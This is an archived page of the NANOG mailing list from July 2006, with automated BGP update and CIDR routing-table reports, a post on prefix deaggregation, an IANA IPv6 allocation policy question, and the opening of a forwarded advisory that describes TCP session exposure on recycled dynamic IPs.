July 2006 - Test - lists.nanog.org

BGP Update Report
by cidr-report＠potaroo.net 21 Jul '06

21 Jul '06

BGP Update Report Interval: 07-Jul-06 -to- 20-Jul-06 (14 days) Observation Point: BGP Peering with AS4637 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS855 24942 1.8% 43.5 -- CANET-ASN-4 - Aliant Telecom 2 - AS1239 24304 1.7% 31.0 -- SPRINTLINK - Sprint 3 - AS15611 21223 1.5% 208.1 -- Iranian Research Organisation 4 - AS17974 12700 0.9% 32.0 -- TELKOMNET-AS2-AP PT TELEKOMUNIKASI INDONESIA 5 - AS702 10982 0.8% 13.5 -- AS702 MCI EMEA - Commercial IP service provider in Europe 6 - AS7474 10779 0.8% 36.3 -- OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 7 - AS2386 10210 0.7% 11.0 -- INS-AS - AT&T Data Communications Services 8 - AS7018 10070 0.7% 6.8 -- ATT-INTERNET4 - AT&T WorldNet Services 9 - AS33783 8191 0.6% 77.3 -- EEPAD 10 - AS12497 7992 0.6% 159.8 -- SANET-GE SANET NETWORK (AS) 11 - AS4134 7200 0.5% 6.3 -- CHINANET-BACKBONE No.31,Jin-rong Street 12 - AS9837 6827 0.5% 25.7 -- POWERTEL-AP Powertel Ltd 13 - AS16322 6799 0.5% 72.3 -- PARSONLINE PARSONLINE Autonomous System 14 - AS23287 6726 0.5% 747.3 -- SCRIPPS - EW Scripps 15 - AS4621 6680 0.5% 47.4 -- UNSPECIFIED UNINET-TH 16 - AS23918 6601 0.5% 49.3 -- CBB-BGP-IBARAKI Connexion By Boeing Ibaraki AS 17 - AS12654 6353 0.5% 288.8 -- RIPE-NCC-RIS-AS RIPE NCC RIS Project. 18 - AS12880 6350 0.5% 64.8 -- DCI-AS DCI Autonomous System 19 - AS701 6325 0.5% 6.6 -- ALTERNET-AS - UUNET Technologies, Inc. 20 - AS9899 6297 0.5% 179.9 -- ICARE-AP iCare.com Ltd. TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS21027 4612 0.3% 4612.0 -- ASN-PARADORES PARADORES Autonomous System 2 - AS19982 4446 0.3% 2223.0 -- TOWERSTREAM-PROV - Towerstream 3 - AS14169 3391 0.2% 1695.5 -- MEAD - MEAD CORPORATION 4 - AS23986 1225 0.1% 1225.0 -- MR-AS-AP-HK Mediaring HK 5 - AS34378 912 0.1% 912.0 -- RUG-AS Razguliay-UKRROS Group 6 - AS36413 1683 0.1% 841.5 -- ASN-COF-IT - Council on Foundations 7 - AS23287 6726 0.5% 747.3 -- SCRIPPS - EW Scripps 8 - AS26897 695 0.1% 695.0 -- INVISION-TECH - INVISION TECHNOLOGIES, INC. 9 - AS35379 1322 0.1% 661.0 -- EASYNET EASYNET s.c. 10 - AS19861 632 0.1% 632.0 -- FACILITY-GROUP - The Facility Group 11 - AS27407 611 0.0% 611.0 -- FRISCHS-INC - Frisch's Restaurants, Inc. 12 - AS14410 2955 0.2% 591.0 -- DALTON - MCM, Inc., DBA: Internet@Dalton 13 - AS3043 3159 0.2% 526.5 -- AMPHIB-AS - Amphibian Media Corporation 14 - AS31942 960 0.1% 480.0 -- COBECV - COBE CV 15 - AS36063 436 0.0% 436.0 -- ITSPEED-0001 - Arrownet, Inc. 16 - AS39863 2084 0.1% 416.8 -- CROSSNET Crossnet LLC 17 - AS35282 394 0.0% 394.0 -- ARAMEX-AS Aramex AS 18 - AS3944 731 0.1% 365.5 -- PARTAN-LAB - Partan & Partan 19 - AS14548 363 0.0% 363.0 -- LISTEN-SF-1 - Listen.com 20 - AS5868 1430 0.1% 357.5 -- DDN-ASNBLK - DoD Network Information Center TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 61.4.0.0/19 6260 0.4% AS9899 -- ICARE-AP iCare.com Ltd. 2 - 203.112.154.0/24 4807 0.3% AS17783 -- SRILRPG-AS SRIL RPG Autonomous System 3 - 62.81.240.0/24 4612 0.3% AS21027 -- ASN-PARADORES PARADORES Autonomous System 4 - 159.124.160.0/19 3267 0.2% AS14169 -- MEAD - MEAD CORPORATION 5 - 209.140.24.0/24 3141 0.2% AS3043 -- AMPHIB-AS - Amphibian Media Corporation 6 - 206.251.163.0/24 2765 0.2% AS4314 -- I-55-INTERNET-SERVICES-INC - I-55 INTERNET SERVICES 7 - 64.17.224.0/21 2228 0.1% AS19982 -- TOWERSTREAM-PROV - Towerstream 8 - 64.17.232.0/21 2218 0.1% AS19982 -- TOWERSTREAM-PROV - Towerstream 9 - 208.0.225.0/24 2008 0.1% AS11139 -- CWRIN CW BARBADOS 10 - 209.160.56.0/22 1962 0.1% AS14361 -- HOPONE-DCA - HopOne Internet Corporation 11 - 152.74.0.0/16 1874 0.1% AS11340 -- Red Universitaria Nacional 12 - 198.92.192.0/21 1816 0.1% AS16559 -- REALCONNECT-01 - RealConnect, Inc 13 - 61.0.0.0/8 1380 0.1% AS4678 -- FINE CANON NETWORK COMMUNICATIONS INC. 14 - 202.8.43.0/24 1226 0.1% AS23986 -- MR-AS-AP-HK Mediaring HK 15 - 65.201.130.0/24 1110 0.1% AS36413 -- ASN-COF-IT - Council on Foundations 16 - 140.217.45.0/24 1104 0.1% AS145 -- VBNS - MCI Communications Corporation 17 - 204.94.124.0/24 1103 0.1% AS4755 -- VSNL-AS Videsh Sanchar Nigam Ltd. Autonomous System 18 - 203.25.73.0/24 1009 0.1% AS4854 -- NETSPACE-AS-AP Netspace Online Systems 19 - 24.216.52.0/22 1007 0.1% AS20115 -- CHARTER-NET-HKY-NC - Charter Communications 20 - 205.70.7.0/24 954 0.1% AS3475 -- LANT-AFLOAT - NCTAMS LANT DET HAMPTON ROADS AS5872 -- DDN-ASNBLK - DoD Network Information Center Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog(a)merit.edu eof-list(a)ripe.net apops(a)apops.net routing-wg(a)ripe.net afnog(a)afnog.org ausnog(a)ausnog.net

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The Cidr Report
by cidr-report＠potaroo.net 21 Jul '06

21 Jul '06

This report has been generated at Fri Jul 21 21:45:00 2006 AEST. The report analyses the BGP Routing Table of an AS4637 (Reach) router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org/as4637 for a current version of this report. Recent Table History Date Prefixes CIDR Agg 14-07-06 189467 124363 15-07-06 189623 124378 16-07-06 189708 124372 17-07-06 189653 124543 18-07-06 189816 124337 19-07-06 189872 124260 20-07-06 189493 124767 21-07-06 190425 124706 AS Summary 22616 Number of ASes in routing system 9479 Number of ASes announcing only one prefix 1458 Largest number of prefixes announced by an AS AS7018 : ATT-INTERNET4 - AT&T WorldNet Services 91448576 Largest address span announced by an AS (/32s) AS721 : DISA-ASNBLK - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 21Jul06 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 190509 124692 65817 34.5% All ASes AS4134 1251 283 968 77.4% CHINANET-BACKBONE No.31,Jin-rong Street AS18566 950 160 790 83.2% COVAD - Covad Communications Co. AS4755 971 219 752 77.4% VSNL-AS Videsh Sanchar Nigam Ltd. Autonomous System AS721 1017 313 704 69.2% DISA-ASNBLK - DoD Network Information Center AS4323 955 273 682 71.4% TWTC - Time Warner Telecom, Inc. AS22773 673 47 626 93.0% CCINET-2 - Cox Communications Inc. AS9498 764 193 571 74.7% BBIL-AP BHARTI BT INTERNET LTD. AS6197 1016 485 531 52.3% BATI-ATL - BellSouth Network Solutions, Inc AS7018 1458 941 517 35.5% ATT-INTERNET4 - AT&T WorldNet Services AS19916 563 65 498 88.5% ASTRUM-0001 - OLM LLC AS19262 680 188 492 72.4% VZGNI-TRANSIT - Verizon Internet Services Inc. AS855 569 87 482 84.7% CANET-ASN-4 - Aliant Telecom AS17488 519 54 465 89.6% HATHWAY-NET-AP Hathway IP Over Cable Internet AS11492 712 268 444 62.4% CABLEONE - CABLE ONE AS3602 522 105 417 79.9% AS3602-RTI - Rogers Telecom Inc. AS18101 431 27 404 93.7% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS15270 442 55 387 87.6% AS-PAETEC-NET - PaeTec.net -a division of PaeTecCommunications, Inc. AS17676 490 110 380 77.6% JPNIC-JP-ASN-BLOCK Japan Network Information Center AS6198 601 243 358 59.6% BATI-MIA - BellSouth Network Solutions, Inc AS4766 657 306 351 53.4% KIXS-AS-KR Korea Telecom AS22047 433 86 347 80.1% VTR BANDA ANCHA S.A. AS812 370 30 340 91.9% ROGERS-CABLE - Rogers Cable Inc. AS6467 389 49 340 87.4% ESPIRECOMM - Xspedius Communications Co. AS16852 362 51 311 85.9% FOCAL-CHICAGO - Focal Data Communications of Illinois AS16814 329 43 286 86.9% NSS S.A. AS5668 532 256 276 51.9% AS-5668 - CenturyTel Internet Holdings, Inc. AS3352 305 33 272 89.2% TELEFONICA-DATA-ESPANA Internet Access Network of TDE AS17849 415 144 271 65.3% GINAMHANVIT-AS-KR hanvit ginam broadcasting comm. AS8151 754 485 269 35.7% Uninet S.A. de C.V. AS6517 409 141 268 65.5% YIPESCOM - Yipes Communications, Inc. Total 19539 5740 13799 70.6% Top 30 total Possible Bogus Routes 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 61.4.64.0/20 AS9929 CNCNET-CN China Netcom Corp. 63.131.128.0/19 AS14492 DATAPIPE - DataPipe 64.17.32.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.17.33.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.17.37.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.37.96.0/20 AS3764 IA-HOU-AS - Internet America, Inc. 66.96.0.0/20 AS3770 WORLDPATH-AS - WorldPath Internet Services 66.117.8.0/24 AS174 COGENT Cogent/PSI 66.163.96.0/20 AS25767 WAVEFORM - Waveform Technology, LLC 66.235.158.0/23 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 69.39.193.0/24 AS25973 MZIMA - Mzima Networks, Inc. 69.39.195.0/24 AS25973 MZIMA - Mzima Networks, Inc. 69.39.196.0/24 AS25973 MZIMA - Mzima Networks, Inc. 71.7.0.0/17 AS30160 IOWA-TELECOM - Iowa Telecom 87.76.0.0/16 AS39525 SPRITELINK SpriteLink Autonomous System 89.249.80.0/20 AS8486 BNK-AS Baltnetos Komunikacijos, UAB 91.192.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS Project. 91.192.0.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS Project. 91.255.248.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS Project. 124.41.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 125.213.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 131.64.0.0/12 AS721 DISA-ASNBLK - DoD Network Information Center 132.0.0.0/10 AS721 DISA-ASNBLK - DoD Network Information Center 137.0.0.0/13 AS721 DISA-ASNBLK - DoD Network Information Center 138.136.0.0/13 AS721 DISA-ASNBLK - DoD Network Information Center 139.56.0.0/19 AS14956 BROADVISION-ASN - Broadvision Inc. 139.56.64.0/19 AS14956 BROADVISION-ASN - Broadvision Inc. 139.56.72.0/23 AS702 AS702 MCI EMEA - Commercial IP service provider in Europe 151.135.0.0/16 AS4763 TELSTRANZ-AS TelstraClear Ltd 158.0.0.0/13 AS721 DISA-ASNBLK - DoD Network Information Center 163.142.0.0/16 AS2500 JPNIC-ASBLOCK-AP JPNIC 183.206.196.0/24 AS2188 FR-RENATER-ASTER Reseau Regional ASTER 192.30.93.0/24 AS17757 HPAUS-AP HP Australia 192.30.94.0/24 AS17757 HPAUS-AP HP Australia 192.40.105.0/24 AS12582 TSF-DATANET-NGD-AS TSF MPLS VPN Services 192.69.107.0/24 AS5515 SONERA-GLOBAL-IP Sonera Solution Autonomous System 192.69.108.0/24 AS5515 SONERA-GLOBAL-IP Sonera Solution Autonomous System 192.69.177.0/24 AS5515 SONERA-GLOBAL-IP Sonera Solution Autonomous System 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.81.183.0/24 AS719 ELISA-AS Elisa Oyj 192.81.184.0/24 AS719 ELISA-AS Elisa Oyj 192.88.99.0/24 AS559 SWITCH SWITCH, Swiss Education and Research Network 192.96.36.0/24 AS5713 SAIX-NET 192.96.37.0/24 AS10474 NETACTIVE 192.96.135.0/24 AS2018 TENET-1 192.96.136.0/23 AS2018 TENET-1 192.96.140.0/24 AS2018 TENET-1 192.96.143.0/24 AS2018 TENET-1 192.96.145.0/24 AS2018 TENET-1 192.96.177.0/24 AS6083 POSIX-AFRICA 192.96.250.0/24 AS2018 TENET-1 192.107.104.0/24 AS6458 Telgua 192.122.212.0/24 AS209 ASN-QWEST - Qwest 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.133.6.0/24 AS10282 EQUANT-CEEUR EQUANT AS for Central and Eastern Europe region 192.153.144.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 192.172.0.0/19 AS721 DISA-ASNBLK - DoD Network Information Center 192.188.208.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 193.36.1.0/24 AS8220 COLT COLT Telecommunications 193.37.69.0/24 AS2856 BT-UK-AS BTnet UK Regional network 193.110.77.0/24 AS3356 LEVEL3 Level 3 Communications 193.110.78.0/24 AS3356 LEVEL3 Level 3 Communications 193.110.79.0/24 AS3356 LEVEL3 Level 3 Communications 194.31.227.0/24 AS21461 TRANSFAIRNET Transfair-net GmbH Krefeld 194.59.176.0/20 AS1273 CW Cable & Wireless 194.156.206.0/24 AS4589 EASYNET Easynet Group Plc 194.176.102.0/24 AS6714 ATOMNET ATOM SA 194.246.72.0/23 AS8893 ARTFILES-AS Artfiles New Media GmbH 195.246.216.0/22 AS15622 MEOCOM old meocom Autonomous System 196.6.108.0/24 AS5713 SAIX-NET 196.6.175.0/24 AS3741 IS 196.6.176.0/23 AS3741 IS 196.6.183.0/24 AS3741 IS 196.6.196.0/24 AS3741 IS 196.6.199.0/24 AS3741 IS 196.6.208.0/24 AS3741 IS 196.6.211.0/24 AS3741 IS 196.6.212.0/23 AS3741 IS 196.6.212.0/24 AS3741 IS 196.6.222.0/23 AS3741 IS 196.6.237.0/24 AS3741 IS 196.10.119.0/24 AS2018 TENET-1 196.10.122.0/23 AS2018 TENET-1 196.10.136.0/22 AS3741 IS 196.10.140.0/22 AS3741 IS 196.10.231.0/24 AS3741 IS 196.10.251.0/24 AS2018 TENET-1 196.10.252.0/23 AS2018 TENET-1 196.10.254.0/24 AS2018 TENET-1 196.11.0.0/20 AS3741 IS 196.11.40.0/21 AS3741 IS 196.11.135.0/24 AS3741 IS 196.11.188.0/23 AS3741 IS 196.11.190.0/24 AS3741 IS 196.11.251.0/24 AS3741 IS 196.13.101.0/24 AS2018 TENET-1 196.13.102.0/23 AS2018 TENET-1 196.13.104.0/24 AS2018 TENET-1 196.13.108.0/24 AS3741 IS 196.13.116.0/22 AS2018 TENET-1 196.13.121.0/24 AS2018 TENET-1 196.13.125.0/24 AS2018 TENET-1 196.13.126.0/24 AS2018 TENET-1 196.13.127.0/24 AS3741 IS 196.13.128.0/22 AS3741 IS 196.13.144.0/22 AS2905 TICSA-ASN 196.13.152.0/21 AS2905 TICSA-ASN 196.13.160.0/24 AS2905 TICSA-ASN 196.13.169.0/24 AS2018 TENET-1 196.13.174.0/23 AS2018 TENET-1 196.13.176.0/21 AS2018 TENET-1 196.13.188.0/22 AS2018 TENET-1 196.13.192.0/22 AS2018 TENET-1 196.13.196.0/24 AS2018 TENET-1 196.13.252.0/22 AS2018 TENET-1 196.98.17.0/24 AS1257 TELE2 AB 198.18.1.0/24 AS3301 TELIANET-SWEDEN TeliaNet Sweden 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET-1 198.54.92.0/24 AS2018 TENET-1 198.54.222.0/24 AS2018 TENET-1 198.54.249.0/24 AS2018 TENET-1 198.54.250.0/24 AS2018 TENET-1 198.54.251.0/24 AS2018 TENET-1 198.97.72.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.80.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.96.0/19 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.240.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 198.101.4.0/22 AS721 DISA-ASNBLK - DoD Network Information Center 198.136.32.0/20 AS19329 MCNET - Martin County Board of County Commissioners 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.163.155.0/24 AS684 MTSAL-ASN - MTS Allstream Inc. 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 ALTERNET-AS - UUNET Technologies, Inc. 198.169.0.0/16 AS803 SASKTEL - SaskTel 198.199.198.0/24 AS13671 VRIS-AS-BLOCK-13661-13675 - Verizon Internet Services Inc. 199.9.128.0/17 AS668 ASN-ASNET-NET-AS - Defense Research and Engineering Network 199.10.0.0/16 AS721 DISA-ASNBLK - DoD Network Information Center 199.60.0.0/20 AS271 BCNET-AS - University of British Columbia 199.114.0.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.128.0/18 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.130.0/24 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.132.0/24 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DISA/UNRRA 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DISA/UNRRA 199.114.142.0/24 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.144.0/24 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.148.0/24 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.150.0/24 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS3542 ITSDN-U5 - DISA/UNRRA 199.114.160.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.121.0.0/16 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.0.0/18 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.16.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.80.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 ALTERNET-AS - UUNET Technologies, Inc. 199.246.116.0/24 AS813 UUNET-AS1 - UUNET Technologies, Inc. 199.249.233.0/24 AS1239 SPRINTLINK - Sprint 199.249.234.0/24 AS1239 SPRINTLINK - Sprint 199.249.235.0/24 AS174 COGENT Cogent/PSI 202.9.64.0/19 AS9290 TPN-AS-AP Smart Global Network (M) Sdn Bhd 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.86.252.0/22 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.90.33.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.40.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.41.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.42.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.43.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.44.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.93.0.0/20 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 202.94.65.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 202.94.70.0/24 AS9837 POWERTEL-AP Powertel Ltd 202.94.74.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 202.94.75.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 202.94.77.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 202.94.83.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 202.94.85.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 202.94.87.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 202.94.95.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 202.124.192.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.193.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.194.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.195.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.196.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.197.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.198.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.199.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.200.0/22 AS15412 FLAG-AS Flag Telecom Global Internet AS 202.124.204.0/24 AS15412 FLAG-AS Flag Telecom Global Internet AS 202.124.205.0/24 AS15412 FLAG-AS Flag Telecom Global Internet AS 202.124.206.0/24 AS15412 FLAG-AS Flag Telecom Global Internet AS 202.124.207.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.131.64.0/19 AS9381 NEWTT-IP-AP Wharf T&T Ltd. 202.138.64.0/24 AS17536 PRODIGY-AS-AP Prodidgy Telecommunications 202.148.32.0/20 AS17495 GATEWAY-AP BROADBAND WIRELESSS INTERNET SERVICE PROVIDER 202.160.128.0/23 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.128.0/24 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.131.0/24 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.132.0/22 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.136.0/22 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.142.0/24 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.144.0/24 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.145.0/24 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.146.0/24 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.147.0/24 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.152.0/22 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.156.0/23 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.157.0/24 AS10113 DATAFAST-AP DATAFAST TELECOMMUNICATIONS LTD 202.160.158.0/23 AS9837 POWERTEL-AP Powertel Ltd 202.164.100.0/24 AS18101 RIL-IDC Reliance Infocom Ltd Internet Data Centre, 203.13.171.0/24 AS1221 ASN-TELSTRA Telstra Pty Ltd 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.99.142.0/24 AS9826 ILINK-HK-AP iLink.net Ltd 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecom 204.48.58.0/24 AS4323 TWTC - Time Warner Telecom, Inc. 204.48.60.0/24 AS4323 TWTC - Time Warner Telecom, Inc. 204.48.118.0/23 AS29912 CITIZENS-PROPERTY-INSURANCE-CORPORATION - Citizens Property Insurance Corporation 204.48.119.0/24 AS29912 CITIZENS-PROPERTY-INSURANCE-CORPORATION - Citizens Property Insurance Corporation 204.153.104.0/24 AS10913 INTERNAP-BLK - Internap Network Services 204.153.106.0/24 AS10913 INTERNAP-BLK - Internap Network Services 204.153.107.0/24 AS10913 INTERNAP-BLK - Internap Network Services 204.154.125.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.126.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.127.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 205.150.0.0/15 AS701 ALTERNET-AS - UUNET Technologies, Inc. 206.128.104.0/21 AS11709 VIC - VIRTUAL INTERACTIVE CENTER 206.167.57.0/24 AS376 RISQ-AS - Reseau Interordinateurs Scientique Quebecois (RISQ) 206.191.64.0/18 AS15290 ALLST-15290 - Allstream Corp. Corporation Allstream 206.191.96.0/19 AS15290 ALLST-15290 - Allstream Corp. Corporation Allstream 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc 209.205.81.0/24 AS15066 SkyNet de Colombia S.A. 209.205.82.0/24 AS15066 SkyNet de Colombia S.A. 209.205.84.0/24 AS15066 SkyNet de Colombia S.A. 209.234.0.0/18 AS3845 STATE-NET - CS&W, Inc. 216.71.224.0/20 AS23527 COTELLIGENCE - Cotelligence, Inc. 216.201.72.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.73.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.74.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.75.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.76.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.77.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.78.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.79.0/24 AS14709 Telefonica Moviles Panama S.A. 216.228.224.0/20 AS13674 VRIS-AS-BLOCK-13661-13675 - Verizon Internet Services Inc. 216.240.240.0/20 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 221.121.128.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 221.121.129.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 221.121.130.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 221.121.131.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 221.121.132.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 221.121.133.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 221.121.157.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 221.121.158.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd 221.121.159.0/24 AS9723 ISEEK-AS-AP ISEEK Ltd Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog(a)merit.edu eof-list(a)ripe.net apops(a)apops.net routing-wg(a)ripe.net afnog(a)afnog.org ausnog(a)ausnog.net

1 0

Deaggregation Disease
by Fredy Kuenzler 21 Jul '06

21 Jul '06

http://www.cidr-report.org/#General_Status +2500 last night. It seems that the origin of this disease is in France. ... quoting myself: > Date: Thu, 10 Nov 2005 16:04:06 +0100 > From: Fredy Kuenzler <kuenzler(a)init7.net> > Organization: Init Seven AG - http://www.init7.net/ > Subject: Routing Table Jump caused by AS4151 > > I noticed a jump from some 171k to almost 175k in the last > days, and checked CIDR http://www.cidr-report.org/: > >> Top 20 Net Increased Routes per Originating AS >> >> Prefixes Change ASnum AS Description >> 3263 0->3263 AS4151 USDA-1 - USDA > > so I wonder what's wrong with them.

1 0

Someone at BELLNEXXIA.NET ...
by Payam Tarverdyan Chychi 20 Jul '06

20 Jul '06

Hey guys, Have an urgent request, could someone at bell possibly give me a shout off list please. Thanks, Payam

1 0

Global IPv6 (IANA -> RIR) policy question
by David Conrad 20 Jul '06

20 Jul '06

[Apologies for duplicates] Hi, IANA has been asked to provide input to ICANN's board on the RIR- consensus global IPv6 allocation policy (see http://www.icann.org/ announcements/announcement-14jul06.htm for details), so I'm looking to understand what folks in the operational community think. One question would be the choice of /12 as the minimum allocation size for IANA to allocate IPv6 addresses to the RIRs. Do folks consider this: a) just right b) too little c) too much d) why are you annoying me with this? Another question: does your answer change with changes to either a more conservative HD ratio or a longer minimum end user prefix length? Thanks! Rgds, -drc

1 0

Consumers of Broadband Providers (ISP) may be open to hijack attacks (fwd)
by Gadi Evron 19 Jul '06

19 Jul '06

---------- Forwarded message ---------- Date: Sun, 16 Jul 2006 06:36:15 +0200 (CEST) From: peter_philipp(a)freenet.de To: security(a)heise.de Cc: bugtraq(a)securityfocus.com, risks(a)csl.sri.com, red(a)heisec.de Subject: Consumers of Broadband Providers (ISP) may be open to hijack attacks For this risk advisory in german please search down to "D> Deutsche Version". >Originator: Peter Philipp >Organization: Daemonic Networks >Synopsis: Consumer of Broadband Providers (ISP) may be open to hijack attacks >Severity: serious >Priority: medium >Category: network security >Class: systemic flaw >Description: Some ISP networks do not reset open TCP connections of customers that were either cut-off by the ISP or cut off by self-initiation. While it is responsibility of every person to terminate every open connection before link termination, when the ISP initiates this, it cannot be guaranteed. A customer who happens to resume a recycled dynamic IP can then read the previous persons open sessions. With streaming mp3 radio services that work on a per-pay basis, this can result in substantial monetary losses, not to mention porn streaming. Further unencrypted email can be read and website cookies can be assumed to continue private Web sessions. >How-To-Repeat: With a stateful firewall one can determine TCP traffic that has no 